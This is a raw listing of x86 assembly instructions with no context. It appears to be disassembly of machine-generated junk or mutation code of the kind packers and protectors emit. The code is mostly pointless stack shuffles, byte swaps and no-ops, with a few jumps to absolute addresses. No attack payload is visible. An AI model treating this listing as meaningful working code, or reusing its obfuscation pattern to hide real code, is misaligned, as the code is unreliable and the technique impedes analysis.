pop word [esp + 1]
clc
push word [esp + 2]
bswap si
pop esi
mov si, word [esp + 0xd]
not si
clc
xchg word [esp + 8], dx
push word [esp + 8]
mov dword [esp + 8], ebx
neg esi
xchg word [esp + 1], ax
rol ax, cl
push word [esp + 5]
mov word [esp + 0xb], ax
neg ax
btc si, ax
push word [esp + 0xd]
bswap esi
bswap ax
setnp dh
not si
pop ax
mov byte [esp + 0xa], bh
mov dh, 0x1a
bswap dx
lea edx, [ebp*4]
bsr ax, bx
bswap esi
pop dword [esp + 2]
mov word [esp + 8], bx
pop word [esp + 6]
mov esi, dword [esp + 0xa]
mov si, dx
mov edx, ecx
lea esp, [esp + 6]
bswap esi
mov dl, 0xd3
pop ax
xchg al, dh
push dword [esp + 1]
sete ah
mov eax, 0x4d6743d8
neg edx
mov byte [esp + 5], ah
mov dword [esp + 4], esi
lea esi, [ecx + 0x2b54]
mov word [esp + 5], bx
pushal
pop dword [esp + 0xf]
cld
dec ah
setae al
shl si, 1
xchg dx, ax
mov dword [esp + 7], edi
lea edx, [esi - 0x3d24]
mov word [esp + 0x15], ax
bswap ax
inc ax
pop dword [esp + 6]
xchg word [esp + 2], ax
xchg dx, ax
xchg byte [esp + 0x19], dh
lea esi, [ecx - 0x17a5]
clc
not esi
not dh
mov dx, di
xchg byte [esp + 0x18], dh
pop eax
bswap esi
lea esi, [edi*4]
xchg dh, dl
add esp, 0x1a
add esp, 2
lea eax, [edx + esi]
mov byte [esp], dl
mov eax, dword [esp]
mov ax, si
mov ax, word [esp]
inc si
bts ax, bx
mov dx, word [esp]
mov esi, eax
add esp, 0
mov ax, 0x3961
bswap dx
neg al
xchg byte [esp], dh
inc dh
mov dl, dh
add esp, 0
xchg dx, ax
lea esi, [esi - 0x28]
setbe dh
lea esp, [esp]
rol dx, cl
setns dl
mov dh, 0x2a
setl al
push edi
lea eax, [edx*4]
xchg dl, al
mov eax, 0x367567c3
push word [esp]
add esi, ebp
mov dx, 0x5d95
bswap esi
not eax
push word [esp + 1]
setp ah
btc esi, esp
mov ax, word [esp]
setp dh
mov dword [esp + 2], ebp
lea esi, [eax + ebp]
xchg al, dl
add esp, 7
bswap edx
add esp, 0
lea eax, [esi*4]
xchg word [esp], dx
mov ax, 0x4a6a
bsr eax, ecx
mov ax, bx
mov esi, dword [esp]
sub esp, 0x1c
xchg dx, ax
xchg byte [esp + 7], dh
xchg byte [esp + 4], al
mov edx, 0x78564de8
xchg word [esp + 8], si
bswap esi
lea esp, [esp + 0x17]
bswap si
bt edx, ebp
rcl edx, cl
xchg dword [esp], edx
bt dx, bx
pop si
pop eax
shr dh, 3
not si
xchg byte [esp], dh
xchg dx, si
mov byte [esp], bl
mov dx, 0x6c7b
mov ah, byte [esp]
mov ax, word [esp]
mov dh, byte [esp]
setge al
mov dx, sp
mov eax, 0x1ec26fda
mov dh, byte [esp]
mov byte [esp], cl
lea esi, [ebx + ebp]
neg esi
pushal
xor eax, ebx
mov ah, 0x97
add esp, 0x13
not ax
push word [esp + 8]
pop eax
lea esi, [esi + 0x44a]
not dh
mov ax, 0x44bd
push dword [esp + 3]
add esp, 0xe
mov dh, byte [esp + 1]
neg dh
add esp, 1
clc
bts si, sp
xchg byte [esp], dl
bswap ax
mov dh, byte [esp]
mov dl, 0x93
stc
mov dx, word [esp]
bsr ax, ax
lea esi, [esp + ebp]
btc eax, ebp
mov eax, dword [esp]
mov dh, byte [esp]
cld
add esp, 0
mov al, bl
sub esp, 0x1a
xchg edx, eax
mov edx, ebx
bswap edx
rcr ax, cl
pop edx
mov esi, edx
mov edx, dword [esp + 0xe]
pop ax
not ax
lea eax, [esi*4]
not eax
adc dx, si
cld
clc
push dword [esp + 0x12]
setge dh
push word [esp + 4]
xchg word [esp + 6], dx
pushfd
btc dx, cx
xchg dx, ax
pop si
pushfd
xchg dword [esp + 0xe], esi
pop dx
mov byte [esp + 0x15], bl
mov al, 0xa2
mov edx, 0x28351e1
mov dx, si
mov al, 0xdf
pop dword [esp + 0x11]
mov esi, 0x71be3f97
push word [esp + 4]
push dword [esp + 4]
pop ax
not al
mov byte [esp + 0xf], dh
not eax
inc edx
add esp, 0x14
mov dh, 0xcf
mov ah, 0xc7
mov edx, esp
pop dword [esp]
mov ax, word [esp]
lea edx, [ecx + edx]
pop word [esp + 1]
xchg si, dx
add esp, 1
dec dh
mov dword [esp], ebx
not dh
mov dx, bp
mov esi, 0x2a331915
mov edx, dword [esp]
mov si, word [esp + 2]
mov al, dl
mov dh, cl
mov dh, byte [esp + 3]
mov al, 0x9b
lea esi, [esp + edx]
shl edx, 6
cmc
sbb ax, si
mov edx, 0x7e7c53b7
pop edx
neg dh
mov eax, dword [esp]
lea eax, [ebx + edi]
mov dx, 0x24a7
mov edx, dword [esp]
mov dh, byte [esp]
sub dh, 0x2b
mov si, word [esp]
xchg esi, edx
and ah, ch
mov eax, esi
xchg esi, eax
bsf eax, ebx
not ax
mov al, byte [esp]
cmc
sub esp, 0x1c
lea esp, [esp + 0x19]
mov ah, 0xcb
sub esp, 0xd
lea esi, [edi + edi]
xchg dh, dl
bswap edx
lea esi, [ebp + 0x5f53]
xchg word [esp + 7], ax
or dh, cl
mov dh, bh
mov dx, 0x6f1
sub dh, ah
neg al
setg dh
lea esi, [esi*4]
mov ah, cl
mov esi, dword [esp + 0xc]
mov esi, esp
add esp, 1
sub esp, 0x1d
xchg dword [esp + 0x25], esi
xchg word [esp + 0x18], ax
push ax
lea esi, [ebp - 0x3a]
bswap ax
bswap ax
cmp ax, 0x1e9
mov word [esp + 0x10], si
btc ax, sp
push edx
not edx
xchg dword [esp + 5], edx
lea eax, [edx + esi]
bswap esi
mov word [esp + 0x1e], dx
xchg al, dh
pop word [esp + 0x16]
lea edx, [esi*4]
add esp, 0xe
pop dword [esp + 0xf]
mov dx, word [esp + 4]
not esi
bswap esi
btc esi, ecx
neg si
bswap eax
bswap eax
mov word [esp + 0xa], ax
lea edx, [0x7d05728f]
xchg dword [esp + 4], edx
mov word [esp + 4], ax
mov ah, byte [esp + 0x1d]
xchg dword [esp + 0xd], esi
push ecx
pop si
bsf eax, ebx
bswap dx
mov si, word [esp + 0x16]
not ah
push word [esp + 0x1d]
bswap dx
xchg byte [esp + 0x18], al
mov al, 0x51
setge dh
push word [esp]
mov word [esp + 6], si
rcr edx, 4
add esp, 0x20
mov word [esp + 1], dx
xchg word [esp], si
neg dh
mov esi, eax
mov ax, cx
bswap eax
lea eax, [edx + esi]
bswap esi
xchg byte [esp + 2], dh
mov word [esp], bp
mov dword [esp], ebp
xchg word [esp], si
setl dl
bsr ax, bp
cmc
add esp, 1
push word [esp + 2]
pop ax
mov dx, sp
lea esp, [esp + 2]
stc
xchg byte [esp], dh
lea esp, [esp]
neg dh
dec dh
sub esp, 9
mov dx, sp
mov byte [esp + 1], ch
mov dword [esp + 4], esi
xchg word [esp + 7], si
xchg si, ax
xchg si, ax
mov ax, word [esp + 6]
xchg edx, eax
mov byte [esp + 1], ch
pop eax
push word [esp + 2]
bswap eax
xchg byte [esp + 3], al
lea eax, [edx*4]
btc eax, esi
not si
adc esi, 0x5ee52d5c
lea esp, [esp]
bsf esi, esp
sub esp, 3
xchg word [esp + 7], si
not edx
mov edx, dword [esp + 6]
push word [esp + 9]
bswap eax
mov dh, 0x40
mov eax, dword [esp]
neg ax
pop word [esp + 2]
mov esi, 0x685f1d6e
xchg byte [esp + 3], al
xchg byte [esp + 8], dh
xchg byte [esp + 5], dl
push word [esp + 2]
mov dword [esp + 4], edi
pop word [esp + 2]
push ebp
pop dx
or dh, cl
bswap edx
clc
mov al, byte [esp + 1]
ror dh, 1
pop word [esp + 8]
inc eax
mov edx, 0x9705102
not dh
mov eax, 0x4c555118
rcl ah, cl
lea esi, [edx + esi]
xchg byte [esp + 9], ah
push dx
xchg dword [esp + 6], esi
mov dh, al
not dh
mov dh, dl
mov byte [esp + 4], cl
push word [esp + 4]
xchg byte [esp + 4], al
mov ax, 0x2567
lea eax, [ebx + ebx]
mov ax, word [esp + 7]
push dword [esp + 9]
mov si, word [esp + 0xe]
push word [esp]
lea esp, [esp]
bswap si
mov dx, word [esp + 1]
mov dl, byte [esp + 0x13]
xchg byte [esp + 9], ah
neg esi
pop dword [esp + 5]
xchg si, dx
setno al
lea esp, [esp + 0xf]
neg ah
mov dx, si
mov si, 0x45a3
lea esi, [ebp*4]
bswap eax
seto dh
mov word [esp], dx
add esi, 0x302e32be
not esi
bts si, bp
lea esp, [esp + 1]
mov byte [esp], al
mov ah, byte [esp]
mov dh, byte [esp]
ror ax, cl
mov esi, 0x210928bb
mov dx, word [esp]
ror si, 0xc
mov dh, 0x7a
lea eax, [ebx + edi]
xchg si, ax
bswap eax
add esp, 0
neg al
sub dh, bl
xchg dx, ax
bswap si
xchg si, ax
mov esi, edi
mov dh, 0x8d
mov esi, 0xa1044f6
bt si, si
bts edx, ecx
xchg esi, eax
cmp ax, ax
lea esp, [esp]
btc eax, ebx
mov edx, dword [esp]
xchg byte [esp], dh
lea edx, [ecx + 0x32987d05]
bswap eax
not si
mov ax, 0x4528
lea esp, [esp]
bswap dx
mov dl, byte [esp]
mov dh, 0x24
not dh
mov dl, cl
lea esi, [ecx*4]
mov eax, 0x5f301447
bt dx, cx
sub esp, 0x12
mov si, word [esp + 0xe]
mov dl, cl
lea esp, [esp + 4]
bswap si
dec dh
pop dx
not ax
mov ax, 0x2e10
inc esi
mov eax, 0x19e1730e
xchg edx, esi
mov ah, byte [esp + 4]
bswap ax
xchg dword [esp + 8], eax
xchg dx, ax
lea esi, [edx*4]
bswap ax
xchg dl, dh
mov dword [esp + 5], edx
lea eax, [esi*4]
add esp, 9
lea esi, [esi + 0xda]
mov al, byte [esp + 3]
add esp, 2
mov esi, eax
sub esp, 0xc
mov ax, dx
pop word [esp + 6]
setg al
mov dword [esp + 1], ebx
mov eax, dword [esp]
mov ax, sp
lea edx, [ecx - 0x31]
mov word [esp + 9], bx
pop ax
lea edx, [esp + edi]
dec ax
mov word [esp + 3], bp
bts dx, cx
pop si
mov eax, dword [esp]
push edi
mov byte [esp + 3], cl
xchg word [esp + 2], ax
mov si, di
push dword [esp]
sub esp, 3
pop ax
mov dword [esp + 7], ebp
cmp si, 0x47df
lea esp, [esp + 0xd]
bswap dx
mov esi, 0x37fd7148
push dword [esp + 1]
bswap esi
mov word [esp + 1], cx
bswap dx
bt edx, eax
cmc
xchg dx, ax
push word [esp + 4]
lea edx, [edi*4]
bsf si, si
add esp, 7
bswap edx
mov byte [esp], ch
add esp, 1
push word [esp]
not eax
pushfd
pop edx
stc
xchg byte [esp + 1], al
xchg dword [esp], edx
bsf si, ax
btc eax, esp
push esi
lea esp, [esp + 1]
mov si, word [esp + 2]
setae ah
lea esp, [esp + 3]
xchg dword [esp], edx
setns dl
xchg dh, dl
lea esp, [esp + 3]
lea esi, [ecx + ecx]
bsf eax, esp
mov dx, word [esp]
clc
neg esi
mov dl, ch
mov al, 0x8b
mov esi, 0x3c462e0e
shl edx, cl
mov dh, ah
lea esp, [esp]
mov si, word [esp]
mov byte [esp], cl
lea esp, [esp]
bswap ax
mov eax, dword [esp]
mov dx, word [esp]
neg ax
not esi
add esp, 0
cmc
mov al, dh
neg ax
xchg esi, eax
not si
cld
mov al, 0xba
bswap esi
mov eax, dword [esp]
mov byte [esp], dl
mov si, word [esp]
push dx
bsf edx, eax
bt esi, eax
xchg byte [esp + 1], dh
mov dh, byte [esp + 2]
lea edx, [ebp + 0x36a0]
mov dx, sp
mov dh, bh
setb dl
neg si
mov esi, 0x36404c5f
bts si, sp
xchg word [esp], dx
mov byte [esp], dh
bswap edx
btr esi, esi
mov dx, di
not esi
pop ax
neg ax
lea esp, [esp]
mov esi, 0x2d6e727b
mov ax, di
xchg byte [esp], ah
mov edx, ecx
mov dx, sp
stc
xchg byte [esp], dh
dec dh
cmc
add esp, 0
mov dh, byte [esp]
setb dl
xchg dx, ax
bsr eax, edi
lea esp, [esp]
setle dh
xchg dh, dl
mov esi, edx
lea esi, [0x46e91edb]
lea eax, [ebx*4]
mov eax, esi
xchg byte [esp], al
neg dh
push esi
mov ah, 0xb0
mov esi, esp
add esp, 3
mov esi, dword [esp]
lea edx, [ecx + 0x51fb1403]
mov esi, dword [esp]
mov edx, esp
mov eax, dword [esp]
add esp, 1
mov si, word [esp]
bswap esi
mov dh, 0x2e
mov ax, bp
mov esi, dword [esp]
mov eax, 0x742a71de
mov si, word [esp]
mov eax, esp
mov esi, ebx
lea esp, [esp]
xchg si, ax
mov byte [esp], bl
mov eax, dword [esp]
mov dl, dh
mov esi, dword [esp]
lea edx, [ebx*4]
lea esi, [esi*4]
sbb si, 0x1fdf
lea esp, [esp]
or dh, ch
mov si, word [esp]
lea esi, [eax - 0xb3]
add esp, 0
mov ax, bp
mov edx, 0x77294f19
lea esp, [esp]
clc
mov dh, 0x3f
mov byte [esp], cl
cld
mov si, di
sub esp, 6
mov byte [esp + 3], cl
setnp dh
pop edx
mov dh, 0xf9
mov word [esp], bx
inc ax
bswap edx
mov word [esp], bx
lea edx, [ebp*4]
mov dx, 0x2182
mov ax, di
pop ax
mov dx, cx
mov dh, 0x18
bswap dx
lea esp, [esp]
mov edx, dword [esp]
mov dh, cl
add esp, 0
mov si, word [esp]
mov dx, 0x6a37
lea esi, [eax*4]
mov dh, 0xea
bsr ax, cx
lea esp, [esp + 1]
not dx
lea esi, [ecx + esi]
shr dx, cl
pushfd
pop dx
add esp, 1
mov esi, dword [esp]
add esp, 0
mov eax, ebp
mov ax, 0xd36
pushfd
lea esp, [esp + 1]
mov eax, dword [esp + 0x13]
mov dh, byte [esp]
lea edx, [esp + 0x5cf8]
mov edx, eax
mov dh, byte [esp]
neg edx
bt esi, ecx
mov edx, dword [esp + 0x18]
lea esi, [ebx*4]
lea esi, [edx + edi]
lea esi, [ebp + 0x5eea6894]
bsr esi, ebx
pushfd
ja 0x76b098
jbe 0x76b098
mov al, 0x1c
jo 0x76c69d
mov edx, dword [esp]
xchg esi, eax
mov dx, word [esp]
add esp, 0
mov byte [esp], dl
dec dh
push si
xchg si, dx
sub esp, 0x10
xchg word [esp + 5], dx
mov dx, 0x6a3f
mov ax, word [esp + 0x10]
push dword [esp + 2]
bsf edx, edx
add esp, 0xb
bswap dx
pop ax
stc
pop edx
bswap edx
mov ah, bl
xchg dx, ax
mov dh, 0xb5
mov dword [esp], eax
lea edx, [esi + esi]
bswap esi
push word [esp + 2]
mov edx, 0x63040ebb
mov si, 0x637e
sub esp, 0
mov byte [esp + 3], dl
shr ax, 1
mov si, word [esp + 3]
mov dh, byte [esp + 2]
push word [esp + 6]
stc
mov byte [esp + 5], dl
push dword [esp + 2]
mov dword [esp + 9], ebx
pop word [esp + 6]
xchg dl, dh
xchg byte [esp + 9], dh
pop word [esp + 1]
pop ax
mov ax, bx
xchg dword [esp + 2], edx
bt ax, sp
xchg si, dx
add ax, cx
setbe al
mov edx, esi
rcr dh, 1
inc eax
not eax
mov dh, byte [esp + 3]
xchg dword [esp], eax
xchg word [esp + 1], si
cld
mov byte [esp + 2], al
bsr esi, ecx
setge dh
cmc
neg al
mov dh, byte [esp + 5]
mov al, byte [esp + 6]
not eax
bt edx, edi
pop word [esp + 2]
pop si
mov dx, word [esp + 3]
mov eax, 0x7a5d14fe
not ax
bswap edx
mov word [esp + 1], di
mov ah, 0x38
mov dx, word [esp + 1]
inc esi
bsf ax, dx
setne dl
not dl
bswap si
not si
mov dh, byte [esp + 1]
sub esp, 0x14
mov dx, 0x6ceb
push ebp
mov dx, word [esp + 0xd]
mov word [esp + 2], ax
mov word [esp + 5], ax
xchg byte [esp + 1], dh
push ebp
xchg dword [esp + 0x18], eax
xchg dword [esp + 2], edx
bswap edx
mov dh, bh
mov ax, 0x2ab4
sub esp, 0x1b
lea esp, [esp + 0x3a]
dec si
bsr si, si
add esp, 0
lea edx, [esi + esi]
mov ax, cx
mov byte [esp], al
mov edx, dword [esp]
mov ah, byte [esp]
neg ax
mov si, 0x548a
mov edx, dword [esp]
mov dx, word [esp]
sub esp, 3
mov si, cx
pop ax
mov edx, ebx
mov si, bp
push word [esp + 1]
bsr si, ax
mov dh, bl
mov dword [esp], esp
ror si, 8
mov word [esp], dx
lea esp, [esp + 1]
mov ax, word [esp + 2]
mov byte [esp + 1], bl
lea edx, [edi + edi]
lea eax, [ebp + 0x3dd2]
mov dh, 0xd4
lea eax, [ebx + 0x1b]
mov eax, 0x1e925daf
xchg dx, ax
xchg al, dh
cmc
lea eax, [eax + ebp]
mov edx, 0x2ba32b73
add dx, 0xdda
bsr eax, ebp
mov byte [esp + 1], al
mov ax, 0x17a5
mov edx, dword [esp]
lea edx, [edi + ebp]
mov ax, word [esp + 2]
bsr eax, edi
lea esi, [ecx + ebp]
mov si, word [esp + 2]
seto dh
inc si
stc
xchg esi, eax
mov dh, dl
add eax, esp
bswap esi
lea esi, [ebp*4]
push ecx
sub esp, 0x1c
neg edx
mov si, 0xdc6
pop ax
mov ax, word [esp + 0xa]
mov byte [esp + 0xc], bh
pop esi
pop word [esp + 8]
pop word [esp + 0xc]
xor al, ch
pop esi
xchg si, ax
mov word [esp + 1], bx
btc edx, ebp
mov eax, ecx
neg al
pop esi
lea esp, [esp + 6]
pop word [esp + 3]
lea edx, [edx*4]
push word [esp + 8]
not esi
xchg byte [esp + 8], dh
mov esi, 0x67dc7708
bts edx, eax
mov al, ch
mov word [esp + 1], sp
bsr esi, ebp
bswap ax
mov al, 0xe3
add esp, 4
mov dh, 0x2a
mov dword [esp], edx
bswap eax
bswap eax
bswap ax
xchg dword [esp], eax
mov ax, sp
mov ax, si
xchg dh, al
rcr al, cl
xchg word [esp], ax
xchg dword [esp], eax
bts edx, esi
xor esi, 0x2af6380
mov word [esp + 3], si
add esp, 0
neg dh
bswap edx
mov dword [esp], edi
push edx
mov dword [esp + 1], esi
mov dword [esp + 2], ebp
pop word [esp + 6]
and dh, al
cmc
mov edx, esi
shl dl, 5
xchg dh, dl
mov eax, 0x15a93971
mov byte [esp + 7], al
neg dl
mov dh, bh
rol dx, 2
neg eax
pop dword [esp]
pop si
mov esi, 0x766c2c2e
dec si
lea esp, [esp + 2]
mov dl, dh
mov dh, dl
mov dl, byte [esp]
bswap ax
bswap edx
mov ax, sp
lea esp, [esp]
xchg dx, ax
btr ax, dx
mov si, word [esp]
btr edx, ecx
add esp, 0
lea eax, [ecx + 0x79a4]
lea esi, [ebx + ebp]
xchg byte [esp], dh
shr ah, 6
mov edx, 0x83b2acf
mov ax, bp
bsf dx, sp
cld
mov si, bp
bts si, si
lea eax, [0x1a183f96]
bsr edx, eax
stc
sub esp, 7
btr dx, cx
dec edx
bsr eax, esi
bts dx, di
mov al, 0x27
xor esi, 0x4d1a2fa6
mov si, word [esp + 5]
mov edx, dword [esp + 4]
bsr ax, bx
rol dl, 1
mov dx, 0x916
dec ah
cmp dh, ch
setnp dh
pop dword [esp]
stc
sub esp, 0x13
pop si
mov edx, eax
xchg word [esp + 0xe], ax
bsf si, di
bt ax, di
pop si
pop eax
push word [esp + 5]
mov ax, dx
mov dh, byte [esp + 4]
bswap eax
mov word [esp + 0xa], ax
xchg byte [esp + 0xc], dh
lea edx, [ecx - 0x6d]
rcl ah, cl
sete al
mov dword [esp + 0xa], ebx
push word [esp + 7]
push word [esp + 0xb]
sub esp, 0x15
adc edx, 0x347c3274
push dword [esp + 0x25]
mov dx, ax
lea esi, [0x23170216]
lea eax, [ebp + ebp]
mov eax, ebx
lea esp, [esp + 0x16]
btr dx, ax
mov esi, edx
mov si, sp
xchg dword [esp + 0xd], edx
pop word [esp + 6]
lea esi, [ebx*4]
push dword [esp]
clc
mov dh, byte [esp + 1]
mov ax, word [esp + 0xf]
pop word [esp + 0x11]
xchg ah, dh
mov byte [esp + 0xd], dl
pop esi
bswap si
setbe ah
pop esi
lea esp, [esp + 4]
mov edx, dword [esp + 6]
mov dh, ch
cmp ax, 0x3517
pop dx
setbe ah
bts si, dx
add esp, 3
bsf eax, ebp
xchg esi, edx
pop dx
xchg dh, al
mov edx, dword [esp + 4]
mov dh, pe_nt_image_headers32
mov si, word [esp + 4]
add esp, 3
xchg byte [esp], al
cmc
bswap eax
xchg byte [esp], dl
mov byte [esp], ch
stc
mov edx, 0x35e902af
push word [esp + 1]
bsf eax, ebx
xchg dword [esp], esi
pushfd
xchg edx, eax
mov si, 0x31e9
mov word [esp + 3], cx
rcl si, 4
pop dword [esp]
sub esp, 0x10
add esp, 0x11
mov ax, word [esp + 1]
mov dx, cx
mov word [esp], bx
mov edx, ecx
not eax
setbe dl
mov byte [esp + 1], dl
mov al, ch
lea edx, [eax*4]
lea edx, [ecx + esi]
add esp, 1
lea edx, [ebx*4]
push word [esp]
lea edx, [esp + 0x3646]
btc si, ax
cmp al, cl
shr ax, cl
bsr si, cx
mov dword [esp], eax
mov dh, byte [esp + 2]
mov eax, esp
mov word [esp + 1], ax
mov byte [esp + 1], al
add esp, 0
and dh, bl
lea esi, [ecx + 0xfc]
xchg dx, ax
xchg word [esp + 1], si
sub esp, 8
pop dword [esp + 2]
rcr eax, cl
rcl ax, cl
push word [esp + 4]
stc
inc dl
bsf edx, ebx
clc
pop edx
lea esp, [esp + 5]
mov eax, 0x493f4054
xchg ah, dh
mov ax, word [esp]
mov ah, ch
bswap eax
bswap ax
add esp, 0
add esp, 0
xchg byte [esp], dh
mov eax, esi
cmp edx, ebx
neg eax
mov dh, 0x5e
bswap si
mov eax, esp
mov si, 0x395f
stc
bswap eax
xchg al, dh
mov dh, ah
mov ax, 0x6d45
push eax
cld
mov word [esp + 2], dx
mov eax, dword [esp + 3]
mov word [esp + 2], bp
btr esi, ebx
pop dx
clc
stc
xchg esi, eax
mov al, bl
bswap ax
xchg esi, eax
clc
xchg word [esp], dx
push ebp
mov dx, 0x5cec
stc
push esp
bswap edx
mov byte [esp], ch
xchg byte [esp + 8], ah
pop eax
cmc
sbb edx, 0x7d560689
setne al
lea esp, [esp + 1]
mov byte [esp], bl
push dword [esp + 4]
mov ax, word [esp + 5]
push word [esp + 3]
push ecx
xchg byte [esp + 1], al
mov ax, word [esp + 0xb]
pop word [esp + 9]
mov dword [esp + 9], esi
add esp, 0xb
lea esp, [esp]
mov dh, 0x60
bswap ax
xchg dx, ax
not edx
mov dh, bl
xchg word [esp], si
sete al
mov si, 0x98f
mov byte [esp + 1], cl
lea esp, [esp + 2]
shl si, cl
xchg ah, dh
lea eax, [eax*4]
mov esi, ecx
mov esi, 0x7e342cce
lea esp, [esp]
push eax
adc ax, 0x6991
mov dx, cx
mov edx, dword [esp + 1]
lea esi, [ebx*4]
stc
add edx, 0x41c65cc1
lea edx, [0x7aed2e3c]
bswap ax
clc
push dword [esp + 2]
stc
bsf eax, eax
lea esp, [esp + 5]
xchg edx, eax
pop si
btc si, sp
lea esp, [esp]
mov dh, byte [esp + 1]
mov word [esp], bp
pop ax
mov dh, byte [esp]
setge dh
clc
xchg dx, ax
pushfd
stc
bswap edx
neg al
mov dword [esp], eax
rcr ah, cl
pop word [esp]
mov ah, ch
mov edx, 0x356a703b
bsr si, sp
neg dx
mov dh, byte [esp]
xchg byte [esp], dh
sub esp, 0x10
dec esi
mov eax, edx
mov edx, 0x2a2f578b
xchg word [esp + 0xd], si
xchg word [esp + 0xd], dx
push si
mov dh, byte [esp + 0xc]
inc edx
sub esp, 0x16
mov byte [esp + 0x11], ch
mov dh, 0x34
or esi, edi
bswap edx
mov word [esp + 0x27], ax
bsr ax, di
mov dx, cx
mov eax, 0x5098077f
xchg dword [esp + 0x1b], esi
mov dh, 0x88
clc
xchg al, dh
mov al, 0xfc
bsr esi, ebx
lea eax, [edi*4]
push ecx
mov ah, byte [esp + 0xc]
pop ax
inc dl
mov ah, 0xa0
xchg dword [esp + 0x15], edx
mov word [esp + 1], cx
pop edx
lea edx, [eax + esi]
clc
bswap dx
add esp, 6
bswap si
xchg byte [esp + 0x18], dh
pop word [esp + 0x17]
pop word [esp + 0xd]
lea eax, [esi*4]
mov dword [esp + 3], ebx
mov dh, 0x54
mov si, 0xf8e
mov dx, word [esp + 0x13]
not si
mov dx, word [esp + 3]
not esi
push edx
pop word [esp + 0x1b]
mov esi, 0x7faa61e6
bswap esi
pop esi
pop word [esp + 0x15]
mov dx, word [esp + 3]
xchg si, ax
mov edx, 0x10e9684d
xchg esi, edx
pop dx
sub esp, 0x1c
pop edx
bsf eax, esp
not si
add edx, 0x33f923af
push word [esp + 0x25]
bswap dx
bswap dx
mov dx, word [esp]
lea esi, [0xf83354e]
pop word [esp + 0x1f]
mov dh, bh
not dx
push word [esp + 0x2a]
cmc
lea eax, [esp - 0xc1]
xchg word [esp + 0x11], dx
mov eax, dword [esp + 9]
xchg ah, dh
bsr esi, esp
mov edx, dword [esp]
pop edx
push dword [esp + 0x22]
bsf esi, ecx
mov byte [esp + 0x1a], cl
bsf si, bx
sub esp, 0x1e
bsr ax, ax
xchg word [esp + 6], si
mov esi, eax
rol dx, cl
push dword [esp + 0x13]
lea esp, [esp + 0x54]
inc dl
mov dh, cl
neg ah
mov esi, 0x7dfb5034
sub esp, 7
push dword [esp + 2]
pop esi
btc eax, eax
not esi
mov byte [esp + 1], dh
dec esi
xchg byte [esp], ah
push word [esp + 4]
bsr eax, edx
lea eax, [eax + edi]
bswap si
mov byte [esp + 2], bh
lea edx, [eax + ecx]
ror si, 9
neg dh
pushfd
xchg dx, ax
cld
cld
xchg byte [esp + 0xa], al
xchg dword [esp + 7], esi
xchg word [esp], si
mov dword [esp], eax
bswap si
pop dword [esp + 2]
cmp dx, di
xchg byte [esp + 6], dh
inc edx
mov byte [esp], dh
mov dx, word [esp + 3]
push word [esp]
pop eax
lea edx, [ebx + esi]
neg ah
xchg si, dx
xchg dx, ax
bswap edx
xchg dh, ah
pop word [esp + 1]
sub esp, 0x1f
pop dword [esp + 8]
not eax
pushfd
push word [esp + 0x17]
bsr ax, di
mov esi, dword [esp + 5]
lea esp, [esp + 5]
push word [esp + 3]
xchg dh, ah
stc
mov dword [esp + 1], esp
mov eax, 0x6b647b69
mov dword [esp + 0x18], edx
mov ah, byte [esp + 0x10]
mov byte [esp + 0x18], al
lea esp, [esp + 9]
lea esi, [ebp*4]
lea esi, [ebp*4]
xchg si, dx
add esp, 0xb
mov byte [esp + 8], cl
or dh, ch
bswap dx
btc eax, ebp
mov byte [esp + 0xd], ch
mov dword [esp + 8], ebx
mov byte [esp + 1], al
bt ax, si
mov dh, byte [esp + 1]
not ax
mov dx, cx
mov dx, word [esp + 0xa]
mov byte [esp + 0xb], cl
cmp eax, edi
xchg esi, eax
xchg word [esp + 3], dx
pop dword [esp + 5]
lea esi, [esp - 0x1d]
mov word [esp + 3], bp
push word [esp + 9]
mov si, bx
push dword [esp + 3]
mov dh, al
bswap ax
not ax
lea edx, [esi - 5]
push word [esp]
mov dx, word [esp + 3]
pop ax
lea esi, [ebp*4]
xchg al, dh
lea edx, [edx - 0x577b]
mov byte [esp], bh
sub esp, 7
lea esp, [esp + 9]
mov dx, 0x2b98
pop word [esp + 3]
mov esi, dword [esp + 0xb]
lea esi, [esp + 0x72de7be9]
setle al
mov esi, 0x3fe73196
lea esi, [ebx + ebp]
push dword [esp + 4]
xchg esi, eax
lea eax, [ecx - 0xeb]
mov ah, 0x98
bsr edx, ebx
bswap dx
bswap esi
xchg byte [esp + 6], dl
mov dl, byte [esp + 0xa]
xchg dword [esp + 2], eax
cmc
inc edx
bswap ax
mov esi, 0x59300b01
lea esi, [edx*4]
mov word [esp + 0xa], sp
mov esi, ebp
mov al, cl
bt esi, esi
pop dx
xchg dword [esp + 4], eax
mov ah, byte [esp + 0xc]
lea esp, [esp + 0xe]
mov dx, word [esp]
lea edx, [ebx*4]
lea edx, [ecx + edi]
bswap si
shr eax, cl
push ecx
xchg dword [esp], edx
pop word [esp]
ror eax, cl
mov word [esp], bp
rol esi, cl
sub esp, 0x12
xchg dword [esp + 1], edx
pop word [esp]
xchg byte [esp + 6], dh
mov dx, si
push word [esp + 0xb]
xchg dx, ax
mov dword [esp], edx
lea eax, [edi*4]
pop ax
dec ax
mov dx, 0x2e91
push bp
lea esp, [esp + 8]
mov al, ah
pop word [esp + 5]
stc
pop dword [esp]
add esp, 3
mov eax, dword [esp + 1]
mov dh, byte [esp]
xchg dword [esp], esi
mov eax, 0x7d7c1271
mov dh, 0x2b
mov dh, ch
xchg byte [esp + 1], ah
push dword [esp + 3]
mov esi, ebp
pop dword [esp]
mov edx, 0x3a6e54fd
inc dx
add esp, 2
btr dx, cx
bt dx, sp
neg edx
lea esp, [esp + 1]
pushal
lea esi, [edi*4]
mov eax, dword [esp + 0x12]
xchg si, dx
push word [esp + 0x1b]
pop eax
bt eax, eax
push word [esp + 9]
mov esi, 0x69d52e81
mov dl, byte [esp + 0xc]
mov esi, 0x4d0b274e
pop dx
mov si, word [esp + 0x1a]
pop dword [esp + 8]
xchg al, dh
mov word [esp + 5], di
pop word [esp + 1]
xchg byte [esp + 4], ah
xchg word [esp + 5], dx
bt ax, si
mov word [esp + 0x14], bp
bswap ax
cmc
mov ax, 0x5797
mov byte [esp + 6], ah
sub eax, 0x315319ea
bswap esi
clc
bts dx, si
mov byte [esp + 4], dh
mov esi, dword [esp + 0xc]
mov al, 0xc3
mov dx, 0x3c13
sbb eax, ecx
mov ax, 0x327d
pop esi
add esp, 9
xchg si, ax
pop edx
lea edx, [ebx + 0x6cf6722]
bswap ax
bswap esi
xchg si, dx
push word [esp + 1]
lea esi, [ebx*4]
push dword [esp + 2]
mov al, byte [esp + 2]
mov ax, 0x54f8
xchg dx, ax
mov eax, esi
lea esp, [esp + 7]
xchg word [esp + 4], si
mov dh, byte [esp + 4]
lea eax, [ebx*4]
